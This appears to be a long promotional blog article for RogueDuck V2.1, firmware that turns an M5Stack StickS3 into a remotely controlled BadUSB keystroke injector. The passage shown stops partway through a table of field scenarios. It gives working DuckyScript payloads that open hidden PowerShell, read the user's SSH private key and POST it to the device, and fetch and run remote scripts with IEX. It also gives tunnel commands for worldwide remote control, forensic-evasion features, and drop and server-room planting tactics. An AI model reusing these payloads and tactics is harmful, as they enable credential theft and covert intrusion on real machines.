RogueDuck V2.1: How a $20 M5Stack StickS3 Became the Quietest BadUSB on the Planet

By the desk of M5RogueOps — firmware wrangler, ESP32 obsessive, and the human who taught a duck to type over Wi-Fi.

The pitch in one line: RogueDuck V2.1 is a custom firmware that turns the matchbox-sized M5Stack StickS3 into a dual-network, cloud-tunnelled, mobile-controlled USB HID DuckyScript injector — a BadUSB that you can arm, fire, and wipe from a phone, from anywhere on Earth, for about the price of a cinema ticket.

If you have spent any real time in a red team, a CTF, or a late-night hardware lab, you already know the dirty little secret of the offensive hardware scene: the iconic tools are either expensive, obvious, or dumb. The USB Rubber Ducky is brilliant but it is a one-shot keyboard with no radio. The Flipper Zero is a Swiss army knife but it is also a giant glowing dolphin that screams "I am up to something" across any open-plan office. The O.MG Cable is gorgeous but it will set you back over a hundred dollars and still needs a phone tethered to it.

RogueDuck V2.1 takes a completely different bet. It says: what if the cheapest, most innocent-looking development board on the market — a thing that looks like a USB thumb drive crossed with a TV remote — already has every radio, every peripheral, and every scrap of processing power you need? And then it answers that question with a firmware that is equal parts offensive tool, art project, and love letter to the ESP32-S3.

This is the long-form, no-stone-unturned breakdown. We are going to walk the full history of keystroke injection, tear down the StickS3 silicon, dissect every feature of the RogueDuck firmware, flash the thing from scratch, write DuckyScript against it, run through real tactical scenarios, and finish with the defensive countermeasures that should keep you awake at night. Pour something. This is going to take a while.

📋 Table of Contents

1. The Convergence: When a $20 Stick Becomes a Tactical Asset
2. A Brief, Slightly Shameful History of Keystroke Injection
3. Meet the M5Stack StickS3 — A Full Hardware Deep Dive
4. The ESP32-S3 and the Native USB HID Superpower
5. Enter RogueDuck V2.1 — The Firmware, Feature by Feature
6. Dual-Mode Networking and the Captive Portal Trick
7. The Mobile-First Web Command Center
8. Tactical Data Exfiltration and Loot Management
9. Going Global: Cloudflare and Ngrok Tunneling
10. DuckyScript 1.0 — The Full RogueDuck Reference
11. Installation and Flashing — Step by Step
12. Operation Guide — Buttons, Screen, and Web UI
13. Tactical Use Cases and Field Scenarios
14. RogueDuck vs. the Field — A Comparison Table
15. The Roadmap — What Is Coming Next
16. Flip the Board — How to Defend Against a RogueDuck
17. The Legal and Ethical Framework
18. Closing Thoughts From the Lab Bench
19. Credits and Disclaimer

1. The Convergence: When a $20 Stick Becomes a Tactical Asset

There is a particular kind of magic that happens when three curves collide at the same point in time. The first curve is silicon economics: Espressif's ESP32-S3 has pushed dual-core 240 MHz computing, native USB, and full 2.4 GHz Wi-Fi into a chip that costs less than a sandwich. The second curve is hardware design: M5Stack's StickS3 wraps that silicon in a 48 × 24 × 15 mm enclosure with a colour screen, a battery, an IMU, a microphone, a speaker, and infrared — and sells the whole thing for around twenty bucks. The third curve is community firmware: a generation of builders who grew up on Hak5, Flipper, and the Pwnagotchi now have the skills, the libraries, and the shared vocabulary to ship genuinely scary tools in their spare time.

RogueDuck V2.1 sits exactly at the intersection of those three curves. It is the firmware that asks, seriously: if the hardware already does HID, Wi-Fi, web serving, file storage, and tunneling natively, why are we still carrying a separate ducky, a separate drop box, and a separate C2 channel?

"It's the struggle between simplicity and security. The power of USB is that you plug it in and it just works. This simplicity is exactly what's enabling these attacks."

That quote, from the 2014 Black Hat talk that dragged BadUSB out of the lab and into the mainstream, is the philosophical godparent of every project like RogueDuck. The USB stack is built on trust. The host trusts that a keyboard is a keyboard. RogueDuck exploits that trust — but it also extends it in a way the original Rubber Ducky never could, because it adds a persistent, wireless, internet-connected command channel on top of the HID layer. The ducky is no longer a fire-and-forget projectile. It is a resident agent.

2. A Brief, Slightly Shameful History of Keystroke Injection

To understand why RogueDuck matters, you have to understand the lineage it descends from. Keystroke injection is older than most people realise, and every generation of the technique has solved a problem that the previous one could not.

The Pre-History: USB Trust and the Stuxnet Precedent

The Universal Serial Bus was introduced in 1996 to standardise the chaotic mess of serial, parallel, and game ports that predated it, and its defining design choice was plug-and-play trust: when you plug something in, the host figures out what it is and lets it work Wikipedia — USB. That trust is the attack surface. It is also exactly the trust that Stuxnet abused in 2010, when a USB-borne worm crossed an air gap at Iran's Natanz uranium enrichment facility and destroyed roughly a thousand centrifuges by stealthily over-driving them IEEE Spectrum — The Real Story of Stuxnet. Stuxnet was not a HID attack — it was a malware payload delivered by removable media — but it permanently etched "USB = untrusted" into the security consciousness of an entire generation of defenders.

2010: Darren Kitchen and the First Rubber Ducky

The true keystroke injection era begins with Darren Kitchen. In 2010, an IT administrator tired of performing the same repetitive tasks over and over — fixing printers, remapping network shares, the usual grind — took a creative shortcut: he modified USB hardware to pose as a standard keyboard and used a simple script to fire keystrokes automatically Threatlocker — USB Rubber Ducky Attacks Explained. That improvisation became the USB Rubber Ducky, the first commercially available keystroke injector, sold by Hak5. Its original DuckyScript was just three commands, learnable in minutes, and the device could inject roughly a thousand words per minute the moment it was plugged in Hak5 — usbrubberducky-payloads (GitHub).

"Hak5 introduced Keystroke Injection in 2010 with the USB Rubber Ducky. This technique, developed by Hak5 founder Darren Kitchen, was his weapon of choice for automating mundane tasks at his IT job — fixing printers, network shares and the like."

The Ducky became a hacker-culture icon. It showed up in movies and TV. It taught a generation that "looks like a flash drive" and "is a flash drive" are two completely different statements. But it had a hard ceiling: it was a one-shot device. You wrote a payload to an SD card, you plugged it in, it typed, and that was it. No feedback. No re-arming. No network.

2014: Nohl and Lell Pull the Fire Alarm

At Black Hat 2014, Karsten Nohl and Jakob Lell demonstrated that the firmware of ordinary USB flash drives — many of which used reprogrammable microcontrollers like the Intel 8051 — could be reflashed to turn the drive into a malicious keyboard, a network adapter, or anything else Wikipedia — BadUSB. They called it BadUSB, and their conclusion was chilling: "These problems can't be patched. We're exploiting the very way that USB is designed." The talk reframed USB from "a port you use" to "a port you fear," and it is the conceptual ancestor of every reprogrammable HID tool that followed, RogueDuck included ManageEngine — BadUSB.

2018→2022: The Cable, the Dolphin, and DuckyScript 3.0

The years that followed produced a flowering of form factors. The O.MG Cable from Hak5 hid a full keystroke-injection payload inside an innocent-looking charging cable. The Flipper Zero, inspired by the Pwnagotchi project, packed RFID, sub-GHz radio, NFC, infrared, and BadUSB into a playful dolphin-shaped multi-tool that became a genuine consumer phenomenon Flipper Zero — Official Site. And in 2022, Hak5 released the new USB Rubber Ducky with DuckyScript 3.0, a full structured programming language that added control flow, loops, functions, OS detection, keystroke reflection, and jitter — while remaining backwards compatible with the original DuckyScript 1.0 Hak5 — DuckyScript 3.0.

Year	Milestone	Why It Mattered
1996	USB 1.0 standardised	Established plug-and-play host trust — the attack surface HID tools exploit
2010	Stuxnet crosses the air gap via USB	Permanent proof that "removable media = untrusted" in serious security thinking
2010	Darren Kitchen ships the USB Rubber Ducky	First commercial keystroke injector; invents DuckyScript
2014	Nohl & Lell reveal BadUSB at Black Hat	Shows any USB device's firmware can be reprogrammed into a HID attacker
2018+	O.MG Cable, Flipper Zero, ATMEGA32U4 "Beetle" boards	Proliferation of form factors and price points for HID injection
2022	DuckyScript 3.0 launches	Ducky becomes a real programming language with OS detection and jitter
2026	RogueDuck V2.1 released for the M5StickS3	First sub-$25, Wi-Fi-native, cloud-tunnelled, mobile-controlled ducky

The pattern across all fifteen years is clear: each generation added capability but kept the device local. The Ducky typed. The Flipper typed and pinged. The O.MG Cable typed and hid. None of them natively reached out to the internet and let you pull the trigger from another continent. That is the gap RogueDuck V2.1 was built to close.

3. Meet the M5Stack StickS3 — A Full Hardware Deep Dive

The StickS3 is the physical substrate RogueDuck lives on, and it deserves a proper teardown because every one of its design decisions feeds directly into why this firmware works. M5Stack positions the StickS3 (SKU K150) as a compact, high-performance programmable controller aimed at remote control and IoT applications, built around the ESP32-S3-PICO-1-N8R8 main control chip M5Stack Official Docs — StickS3.

Here is the full specification sheet, pulled straight from the official documentation, because you should never trust a spec from memory:

Specification	Parameter
SoC	ESP32-S3-PICO-1-N8R8 — Xtensa 32-bit LX7 dual-core, 240 MHz
Flash	8 MB
PSRAM	8 MB Octal
IMU	BMI270 (6-axis accelerometer + gyroscope)
Wi-Fi	2.4 GHz 802.11 b/g/n
Display	ST7789P3, 1.14", 135 × 240 resolution
Input Power	USB Type-C, DC 5V
Audio Codec	ES8311, 24-bit, I2S protocol
Microphone	MEMS, SNR 65 dB
Speaker	AW8737 power amplifier + 8Ω @ 1W 2011 cavity speaker
Infrared	IR transmitter + IR receiver (RMT peripheral)
Battery	250 mAh lithium
Operating Temperature	0 – 40 °C
Product Size	48.0 × 24.0 × 15.0 mm
Product Weight	20.0 g
Power Management	M5PM1 (I2C address 0x6e)
Expansion	Hat2 bus (2.54-16P), HY2.0-4P Grove interface, magnetic back
Development Platforms	Arduino IDE, UiFlow2, ESP-IDF, PlatformIO

Source: M5Stack Official StickS3 Documentation

Why Each Spec Matters for a BadUSB

This is not a generic dev board review. Every line item on that table earns its keep inside RogueDuck:

• ESP32-S3 with native USB — This is the load-bearing wall. Unlike the older ESP32 (which needed a separate USB-UART bridge and could not do HID at all), the S3 has a full-speed USB 1.1 peripheral with an internal PHY, built on the TinyUSB stack, that can present itself to a host as a keyboard, mouse, or composite device Espressif — ESP32-S3 USB Device Stack. No ATmega32U4 daughterboard. No external HID chip. Just the silicon doing the job.
• 8 MB Flash + 8 MB Octal PSRAM — A web server, a DuckyScript parser, a captive portal, a DNS server, an HTTP client, a loot store, and a CRT-effect renderer all need room to breathe. The default 1.2 MB ESP32 app partition would choke on this; the StickS3's generous flash is exactly what lets RogueDuck ship as a single, fat binary.
• 2.4 GHz Wi-Fi (AP + STA simultaneously) — The dual-mode radio is what turns the ducky from a fire-and-forget device into a managed agent. It can join your hotspot for outbound internet while still broadcasting its own RogueDuck_Sync fallback network.
• 1.14" ST7789P3 colour display — The cyberpunk CRT UI, the live IP readout, the battery telemetry, and the glitch animation during injection all live here. A ducky with a screen is a ducky you can aim.
• BMI270 IMU — Not directly used in V2.1's HID flow, but it is the foundation for future motion-triggered or anti-tamper features on the roadmap.
• ES8311 + MEMS mic + speaker — Audio is a future vector (voice-triggered payloads, acoustic exfil beacons). It ships ready.
• IR TX/RX — The StickS3 can also attack air-conditioners, TVs, and any IR-controlled physical plant, which is a rare bonus in a device this small.
• 250 mAh battery — Enough to run set-and-forget deployments for a meaningful stretch without a host powering it.
• 48 × 24 × 15 mm, 20 g, magnetic back — This is the stealth spec. The StickS3 is smaller than a thumb drive, weighs almost nothing, and the magnet lets it snap onto the side of a server chassis, a desk leg, or the back of a monitor invisibly.

To get a real sense of how much hardware M5Stack crammed into this form factor — and how it stacks up against the older StickC lineage — this side-by-side walkthrough is worth your four minutes:

Video: A hands-on look at the M5Stack StickS3 and how it improves on the older StickC line. Watch on YouTube

StickS3 vs. the Older StickC Plus 2

If you are coming from the M5StickC Plus 2, the upgrade is not incremental — it is categorical. The Plus 2 runs on the ESP32-PICO-V3-02, which lacks native USB HID and forces you to route everything through a USB-UART bridge; the StickS3 runs the S3 with native USB. The Plus 2 ships with 4 MB of flash in its classic configuration and a smaller battery; the StickS3 doubles the flash to 8 MB, adds 8 MB of octal PSRAM, and bumps the battery to 250 mAh M5Stack Shop — StickC Plus. For a project like RogueDuck, the S3's native USB is not a nice-to-have; it is the difference between a firmware that can exist and one that cannot.

4. The ESP32-S3 and the Native USB HID Superpower

It is worth pausing on the ESP32-S3, because it is the single technical reason RogueDuck can exist on a $20 board at all. The S3's USB Device Stack is built around TinyUSB and lets you program the chip with any well-defined USB device function — keyboard, mouse, mass storage, a custom vendor-specific class, or a composite of several at once Espressif — ESP32-S3 USB Device Stack. Concretely, it exposes a full-speed USB 1.1 peripheral with an internal PHY, endpoint 0 plus six additional configurable endpoints, and up to five concurrent IN endpoints.

What that means in plain offensive-security English: the moment you plug the StickS3 into a victim machine, the host's USB enumeration sees a perfectly ordinary keyboard. There is no driver install. There is no UAC prompt. There is no "do you trust this device?" dialog. Windows, macOS, Linux, ChromeOS — they all trust keyboards implicitly, because they have to. RogueDuck's USBHIDKeyboard library rides that trust straight into a shell.

Compare that to the older ESP32 (non-S3), which has no native USB peripheral at all. To do HID on a classic ESP32 you would need an external ATmega32U4 or a dedicated HID bridge chip, which immediately doubles your BOM and your board footprint. The S3 collapses the entire HID layer into the main SoC, and that is the trick that lets a matchbox stick compete with a $45 ducky.

"In esp-idf there is already an example for [USB HID keyboard]. You can use ESP32-S2 or ESP32-S3 for that."

One important footnote for the spec-readers: not every ESP32 part does this. The ESP32-C6, for example, can act as a wireless keyboard over BLE but does not support native USB keyboard emulation Arduino Forum — ESP32-C6 as HID. If you are shopping for a RogueDuck-class platform, you want S2, S3, or later parts with the full USB OTG peripheral.

5. Enter RogueDuck V2.1 — The Firmware, Feature by Feature

With the silicon understood, we can talk about what RogueDuck V2.1 actually does. The project lives openly on GitHub, and the README is unusually candid about its ambitions: "a custom, tactical firmware that transforms the M5Stack StickS3 into a covert, dual-network BadUSB tool", featuring a mobile-first web interface, on-the-fly DuckyScript parsing, cloud-payload fetching, and a cyberpunk CRT hardware UI GitHub — M5RogueOps/M5StickS3-RogueDuck. The full source and release binaries are available at the project's repo, and the author's broader firmware catalogue sits under the M5RogueOps GitHub account GitHub — M5RogueOps.

Here is the complete feature map, organised the way the firmware itself is organised:

Subsystem	Capability	What It Buys You
Networking	Station Mode (STA)	Joins your mobile hotspot for internet-enabled attacks
	Access Point (AP) fallback	Always broadcasts RogueDuck_Sync so you are never locked out
	Captive portal + DNS server	Connecting a phone auto-pops the Command Center in-browser
	Global cloud tunneling	Cloudflare/Ngrok bridge via rogueduck_tunnel.py for worldwide control
Web Command Center	OTA .txt payload uploads	Push DuckyScript straight to LittleFS from a phone
	Live in-browser editor	Write, edit, save payloads without a PC
	Cloud Vector deployment	Paste a raw URL (GitHub/Pastebin) and execute from RAM — no on-device trace
	Remote execution	Fire any stored payload instantly from the web UI
	Panic Wipe	One-tap killswitch formats LittleFS in seconds
	Tactical exfiltration listener	Receives stolen data via Invoke-RestMethod from the target
	Loot management dashboard	View, ignore, or mass-wipe exfiltrated files
Hardware UI	Cyberpunk CRT aesthetic	Scanlines, glitch effects during injection, dynamic IP render
	Pocket Lock + battery saver	Long-press side button dims screen and disables injection buttons
	Live telemetry	Real-time battery percentage in the header

The headline feature, the one that no other ducky in this price bracket offers, is the convergence of HID injection + Wi-Fi command-and-control + cloud tunneling in a single binary. That triad is what makes RogueDuck a resident agent rather than a projectile. Let us walk each subsystem.

6. Dual-Mode Networking and the Captive Portal Trick

RogueDuck's networking stack is built on a simple operational principle: you should never, under any circumstance, be locked out of your own device. That principle produces a dual-mode architecture.

Station Mode (STA) fires first on boot. The firmware automatically attempts to connect to a predefined mobile hotspot or local network, which gives it outbound internet — the prerequisite for cloud-payload fetching, remote trigger over tunnel, and any internet-enabled attack. Crucially, V2.1 moved Wi-Fi credentials out of the source code and into a first-boot captive-portal configuration flow, so you no longer recompile to change networks.

Access Point (AP) fallback runs concurrently. The device always broadcasts its own isolated RogueDuck_Sync network (default password 12345678), so even if your hotspot is out of range, the certificate has expired, or you are standing in a Faraday cage of a server room, you can still pull out your phone, join the duck's own network, and reach the Command Center. The STA link is for reach; the AP is for resilience.

The captive portal is the elegant part. In AP mode, RogueDuck runs a built-in DNS server that intercepts all DNS queries from any connecting device and resolves them to the duck's own IP. The moment you join RogueDuck_Sync on your phone, your phone's OS detects the captive-portal probe failure, fires its built-in "is this a captive network?" check, and automatically pops the Command Center in a browser window — usually before you have even unlocked the phone. This is the same mechanism airports and hotels use to harass you with a login page, weaponised for convenience. No typing 192.168.4.1. No fumbling. You join, the duck appears.

The captive-portal trick is worth understanding because it is a textbook example of abusing legitimate OS behaviour. Every modern phone, on joining any Wi-Fi network, quietly probes a known URL (Apple uses captive.apple.com, Android uses connectivitycheck.gstatic.com) to determine whether the network has internet. If the probe is intercepted or fails, the OS assumes a captive portal is present and auto-opens a browser to whatever the portal returns. RogueDuck's DNS server simply answers every query with its own address, guaranteeing the probe "fails" in the right way, guaranteeing the browser pops, guaranteeing the operator gets their UI.

7. The Mobile-First Web Command Center

The Command Center is a dark-mode, fat-thumb-optimised web application served from the StickS3 itself. It is the operational surface for the entire firmware, and its design philosophy is "usable one-handed, in a hallway, with a phone screen dimmed to 20%." Every feature below is reachable from that single page:

1. Over-The-Air payload uploads. Push .txt DuckyScript files directly to the StickS3's internal LittleFS storage from your phone's browser. No SD card. No USB mass-storage mode. No laptop required.
2. Live editor. Write, edit, and save payloads in-browser. The editor is the iteration loop — you tweak a delay, save, fire, observe, repeat, all from the same screen.
3. Cloud Vector deployment. This is the forensic-evasion centerpiece. Instead of storing a payload on the device, you paste a raw URL — a GitHub Raw link, a Pastebin, any reachable text endpoint — and RogueDuck fetches and executes the payload entirely in RAM. Nothing is written to LittleFS. Nothing is written to flash. If the device is seized, there is no payload to recover. This is fileless injection from a cloud C2, on a $20 stick.
4. Remote execution. Trigger any stored payload instantly from the web app. One tap, the ducky types.
5. Panic Wipe. A dedicated killswitch at the bottom of the UI that formats the LittleFS partition, permanently destroying every stored payload in seconds. This is the "if I am about to be caught" button. It does not ask twice.

The forensic model here is genuinely thoughtful. A traditional ducky carries its payload on an SD card or in flash; seize the device, read the card, reconstruct the attack. RogueDuck's Cloud Vector mode means the device itself is a general-purpose executor: the payload lives elsewhere, fetched on demand, executed in volatile memory, gone the instant power is lost. The stick is the gun; the cloud is the magazine; the magazine is disposable.

8. Tactical Data Exfiltration and Loot Management

The other half of the operational loop — the half most duckys do not have at all — is getting data back. RogueDuck runs a listener endpoint that accepts exfiltrated data from the target machine and stores it in LittleFS. The intended delivery mechanism on Windows is PowerShell's Invoke-RestMethod cmdlet, which is almost always present, almost always allowed outbound, and almost never blocked by default endpoint rules Splunk Research — Windows Exfiltration Over C2 Via Invoke-RestMethod.

The flow is elegant in its simplicity. A DuckyScript payload types a PowerShell one-liner that grabs the target's secrets — browser-stored passwords, SSH keys, session tokens, Wi-Fi profiles — and POSTs them to the duck's listener. The duck stores the loot in LittleFS, the loot shows up in the web UI's Loot Dashboard, and the operator can view it, ignore it, or mass-wipe it with a single click.

A minimal exfil payload concept looks like this (illustrative, US-layout, for authorised lab use only):

REM === RogueDuck exfil concept — AUTHORISED LAB USE ONLY ===
DEFAULT_DELAY 100
GUI r
DELAY 600
STRING powershell -w hidden -noexit
ENTER
DELAY 1500
STRING $d = Get-Content "$env:USERPROFILE\.ssh\id_rsa" -Raw
ENTER
STRING Invoke-RestMethod -Uri http://192.168.4.1/exfil -Method POST -Body $d
ENTER
DELAY 800
STRING exit
ENTER

That is the entire pattern: open a shell, read a secret, POST it to the duck, close the shell. Swap id_rsa for whatever your engagement scope permits. The duck's listener captures the body, the Loot Dashboard shows a new file, you tap "view," and you are reading the target's private key on your phone in under five seconds.

It is worth noting that Invoke-RestMethod exfiltration is a well-documented detection signal. Splunk's analytic library, for instance, flags PowerShell script blocks containing Invoke-RestMethod paired with a -Uri parameter as a potential exfiltration event worth investigating Splunk — Invoke-RestMethod Exfil Detection. That cuts both ways: it is a reminder that this technique is loud to a competent blue team, and it is a reminder that the technique works precisely because the outbound HTTP looks like a thousand other legitimate PowerShell calls.

9. Going Global: Cloudflare and Ngrok Tunneling

This is the feature that genuinely separates RogueDuck from every other ducky I have used. The firmware ships a Python companion script, rogueduck_tunnel.py, that bridges the local StickS3 to the public internet via a reverse tunnel — Cloudflare or ngrok — so you can control the device and trigger payloads from anywhere in the world.

Why does this matter? Because without a tunnel, the duck is only reachable from a device on the same network — your phone joined to RogueDuck_Sync, or a laptop on the same hotspot. That is fine for a walk-up engagement. It is useless for a multi-day physical assessment where you planted the duck at 9 a.m. Tuesday and you are now 400 km away, watching the target's network from a hotel.

The tunnel fixes that. The rogueduck_tunnel.py script runs on any internet-connected machine that can reach the duck — a laptop on the same hotspot, a Raspberry Pi stashed nearby, even a cloud VM bridged in over a VPN — and it punches an outbound tunnel to a public provider, exposing the duck's web UI on a public URL.

The Cloudflare Quick Tunnel Path

Cloudflare's Quick Tunnels (the trycloudflare.com flavour) are the lowest-friction option. No account, no configuration file, no exposed ports on your machine — one command and you are live, with automatic HTTPS and DDoS protection layered on top Cloudflare — Quick Tunnels. The canonical invocation is simply:

# Expose the duck's local Command Center on a public trycloudflare URL
cloudflared tunnel --url http://192.168.4.1:80

Run that, and cloudflared generates a random trycloudflare.com subdomain, prints it in the terminal, and serves traffic from your local duck to the public internet at that URL Cloudflare Docs — Quick Tunnels. The daemon sits between the Cloudflare network and your origin, attracts client requests, and forwards them without requiring you to open a single inbound port GitHub — cloudflare/cloudflared. Hand that URL to your phone from anywhere, and you have worldwide trigger authority over the duck.

The ngrok Path

If you prefer ngrok — and many do, for its traffic inspection and replay features — the model is the same. ngrok creates encrypted tunnels that forward external traffic to local servers, supports HTTP, HTTPS, TCP, and TLS, and famously bypasses NAT and firewall restrictions with a long-lived outbound TCP tunnel Wikipedia — Ngrok. A typical exposure looks like:

# ngrok: expose the duck on a public HTTPS endpoint
ngrok http http://192.168.4.1:80

The rogueduck_tunnel.py companion wraps both providers behind a single configurable interface, so you can switch between Cloudflare's free ephemeral URLs and ngrok's static-domain tier depending on whether you need persistence, custom domains, or just a five-second proof of life.

The strategic implication is hard to overstate. A RogueDuck planted in a target's server room on Monday is not a static implant. It is a remotely-operated, internet-reachable HID agent that can be re-armed with new payloads, triggered to exfiltrate, and panic-wiped — all from a phone on a different continent. That is a capability class that used to require a $200 drop box and a custom C2 framework.

10. DuckyScript 1.0 — The Full RogueDuck Reference

RogueDuck's internal parser implements standard US-English-layout DuckyScript 1.0 — the same syntax the original 2010 Rubber Ducky used, and a dialect that remains fully valid under the modern DuckyScript 3.0 spec thanks to deliberate backwards compatibility Hak5 — DuckyScript 3.0 compatibility note. That compatibility is a serious advantage: years of community-shared payloads from the Hak5 repository, the Flipper Zero scene, and a decade of forum posts all work out of the box.

Here is the full command reference as implemented by the RogueDuck parser:

Command	Function	Example
STRING	Type a string of characters	STRING Hello, world
STRINGLN	Type a string and press Enter	STRINGLN whoami
DELAY	Pause for N milliseconds	DELAY 1000
DEFAULT_DELAY	Wait N ms between every subsequent command	DEFAULT_DELAY 100
GUI / WINDOWS / COMMAND	Press the Windows/Super/Command key	GUI r
CTRL	Ctrl modifier (supports combos)	CTRL-ALT-DELETE
SHIFT	Shift modifier	SHIFT a
ALT	Alt modifier	ALT F4
ENTER	Return key	ENTER
TAB	Tab key	TAB
SPACE	Spacebar	SPACE
ESC	Escape key	ESC
UP / DOWN / LEFT / RIGHT	Arrow keys	DOWN
F1 – F12	Function keys	F5
REM	Comment line (ignored by parser)	REM this is a note
REPEAT	Repeat the previous command N times	REPEAT 5

Reference: Hak5 DuckyScript Quick Reference · Community cheatsheet

Three Payload Patterns to Internalise

Pattern 1 — The classic run-box opener:

REM Open a Windows run box and launch cmd
DEFAULT_DELAY 100
GUI r
DELAY 600
STRINGLN cmd
DELAY 800

Pattern 2 — The PowerShell download-and-exfil loop:

REM Open shell, pull a stage payload from cloud, exfil to duck
DEFAULT_DELAY 100
GUI r
DELAY 600
STRING powershell -w hidden
ENTER
DELAY 1500
STRING IEX (iwr -UseBasicParsing https://example.local/stage.ps1)
ENTER
DELAY 1000
STRING exit
ENTER

Pattern 3 — The recon-and-beacon (cloud vector, RAM-only):

REM Cloud Vector: paste this URL into RogueDuck's Cloud Vector field
REM Payload executes in RAM — nothing is written to flash
DEFAULT_DELAY 100
GUI r
DELAY 500
STRINGLN powershell -w hidden
DELAY 1200
STRING $env:COMPUTERNAME | Invoke-RestMethod -Uri http://192.168.4.1/recon -Method POST
ENTER
DELAY 500
STRING exit
ENTER

The third pattern is the one that shows off RogueDuck's unique value: the payload never touches the device's storage. You host it on a GitHub Gist, a Pastebin, or your own C2; you paste the raw URL into the Cloud Vector field; the duck fetches it at trigger time and types it straight from RAM. Seize the duck, forensicate it, and you will find a perfectly clean LittleFS partition.

11. Installation and Flashing — Step by Step

RogueDuck is friendly to two completely different audiences: the operator who wants the binary and nothing else, and the builder who wants to compile from source. Both paths are documented.

Path A — The No-Code Flash (M5Burner / M5Launcher)

If you do not want to touch the Arduino IDE and you just want the duck to live on your StickS3, grab a prebuilt .bin and flash it with one of two community tools:

1. M5Burner — M5Stack's official firmware burning software, which handles flashing, exporting, publishing, and sharing of firmware in one tool M5Stack — Downloads / M5Burner. Install it, select your StickS3, point it at the RogueDuck .bin, and burn.
2. M5Launcher by bmorcelli — A community multi-firmware launcher that lets you load any .bin from an SD card or wirelessly, so you can carry the StickS3 with several firmware images and switch on demand GitHub — bmorcelli/Launcher. The web-based flasher is at bmorcelli.github.io/Launcher.

Path B — Compile From Source (Arduino IDE)

Step 1 — Install dependencies. In the Arduino IDE Library Manager, ensure the following are installed:

• M5Unified
• LittleFS
• USB
• USBHIDKeyboard
• HTTPClient
• WebServer

Step 2 — Select the partition scheme (critical). This is the single most common installation failure. RogueDuck's heavy web assets, dual Wi-Fi stack, and HTTP clients push the binary well past the default 1.2 MB ESP32 application limit. Before you compile, navigate to Tools → Partition Scheme and select either:

• Huge APP (3MB No OTA / 1MB SPIFFS), or
• No OTA (2MB APP / 2MB SPIFFS)

Both schemes carve out enough application space for the full RogueDuck binary and leave a LittleFS partition for payload storage and loot Espressif — Arduino ESP32 Partition Table. Forget this step and you will get a cryptic compile/upload error that will cost you an evening.

Step 3 — Flash, then first-boot configure. Unlike previous builds, V2.1 no longer requires hard-coding Wi-Fi credentials in source. The flow is now:

1. Flash the firmware.
2. Power on. The device spins up the RogueDuck_Sync access point automatically.
3. Connect your smartphone to RogueDuck_Sync (default password 12345678) and let the captive portal load, or browse to http://192.168.4.1/.
4. Scroll to the Wi-Fi Configuration section at the bottom, enter your permanent hotspot credentials (e.g., your phone's mobile hotspot), and select SAVE & REBOOT.

From that point on, the duck will attempt STA mode against your hotspot on every boot, with the AP fallback as the safety net. The assigned IP address — whether on the hotspot subnet or the AP's 192.168.4.1 — is rendered live on the StickS3's CRT-styled screen.

12. Operation Guide — Buttons, Screen, and Web UI

RogueDuck is designed to be operable without a screen lookup whenever possible, because in a real engagement you do not want to be staring at a glowing rectangle in a target's hallway. The physical controls are deliberately minimal:

Control	Action	Function
Button A (front)	Press	INJECT PAYLOAD — executes the currently selected payload
Button B (side)	Short click	SCROLL — cycles through stored payloads
Button B (side)	Long press	POCKET LOCK — toggles dim mode and locks the physical injection buttons

The Pocket Lock is a genuinely thoughtful detail. It dimms the screen to near-black and disables the front injection button, so you can carry the duck in a pocket, a bag, or a sleeve without the risk of an accidental misfire typing STRING format C: into your own laptop. Long-press again to wake it.

The web control flow is equally simple:

1. Connect your phone or laptop to either RogueDuck_Sync or your configured hotspot.
2. Read the assigned IP off the StickS3's physical screen.
3. Enter that IP in a browser (or just let the captive portal do it for you on the AP).
4. Use the GUI to upload, edit, fire, view loot, or wipe payloads.

For a sense of the hardware UI in motion — the CRT scanlines, the glitch effect, the live telemetry — this second walkthrough is the one to watch:

Video: The StickS3 hardware in action — UI, controls, and form factor. Watch on YouTube

13. Tactical Use Cases and Field Scenarios

Let us get concrete. The reason RogueDuck exists is not to type Hello, world on your own desk. It is to be planted, forgotten, and triggered later. Here are the canonical scenarios the firmware was designed around — described at the level of operational thinking, not payload copy-paste.

Scenario A — Server Room Persistence

You are on a physical assessment. You have talked your way past reception (legally, with a signed scope and a letter of authorisation in your pocket). You reach the target's server room. The StickS3 is 48 × 24 × 15 mm and has a magnetic back. You snap it onto the rear of a rack-mounted KVM switch, or to the chassis of a 1U server whose rear USB port faces the cable tray, where it disappears into the existing hardware clutter. You cable it to a free USB port. You leave.

For the rest of the engagement — days, if needed — that port is now a persistent, internet-reachable HID agent. From your hotel, over a Cloudflare tunnel, you can push a new payload at 2 a.m., trigger it during the backup window when the on-call engineer is asleep, exfiltrate the local administrator hash, and panic-wipe before dawn. The duck draws ~37 mA in its active state and has a 250 mAh battery to ride out any brief host power glitch. To any passerby or IT auditor, the small glowing screen reads as a USB receiver or a forgotten peripheral.

Scenario B — Office Workstation Foothold

In a standard office, plug the StickS3 into the rear USB port of a target workstation or a VoIP phone base. The small display is easily mistaken for a wireless receiver or a media-controller dongle. The duck joins the corporate Wi-Fi (or your hotspot if you staged one in the parking lot), and now you have a C2 channel that does not touch the target's outbound firewall — because the traffic originates from the duck, not the workstation. The workstation only sees a keyboard typing. The duck sees the internet. They are different trust domains, and RogueDuck exploits the gap between them.

Scenario C — The Drop

Not every engagement requires physical access. The classic USB drop attack — leaving a device where a curious employee will plug it in — is the oldest social-engineering-as-hardware trick in the book, and it remains effective precisely because it exploits human curiosity rather than technical vulnerability ManageEngine — USB Drop Attack. A RogueDuck, labelled with a convincing "Payroll 2026" sticker and dropped in a breakroom, is a one-way ticket to a shell the moment a curious hand plugs it in. Unlike a classic ducky, the RogueDuck version can then beacon home over Wi-Fi and report what it found.

Scenario D — Conference / Trade Show Recon

At a crowded vendor floor, a StickS3 plugged into a charging kiosk or a demo workstation looks like exactly the kind of novelty gadget every booth is giving away. The IMU could detect motion (roadmap), the IR could probe the booth's displays, the Wi-Fi could enumerate visible networks, and the HID could fire a quick recon payload the moment a demo machine unlocks. The form factor is its own disguise.

Scenario E — The Air-Gapped Bridge

For a genuinely air-gapped target, RogueDuck's AP mode is the bridge. Plant the duck on the air-gapped machine. Walk back to your car. Join RogueDuck_Sync from your phone (range permitting — 2.4 GHz Wi-Fi reaches further than you think through drywall). Trigger the payload. The duck types on the air-gapped machine; you control it from outside the air gap. The classic Stuxnet air-gap problem, inverted IEEE Spectrum — Stuxnet.

Scenario	Plant Location	C2 Channel	Primary Risk
Server room persistence	Rear USB of KVM / 1U server	Cloudflare/ngrok tunnel	Physical discovery by cable audit
Office workstation foothold	Rear USB of workstation / VoIP base	Hotspot or rogue AP	USB port inventory by IT
The drop	Breakroom / parking lot	Wi-Fi beacon to operator	Target refuses to plug it in
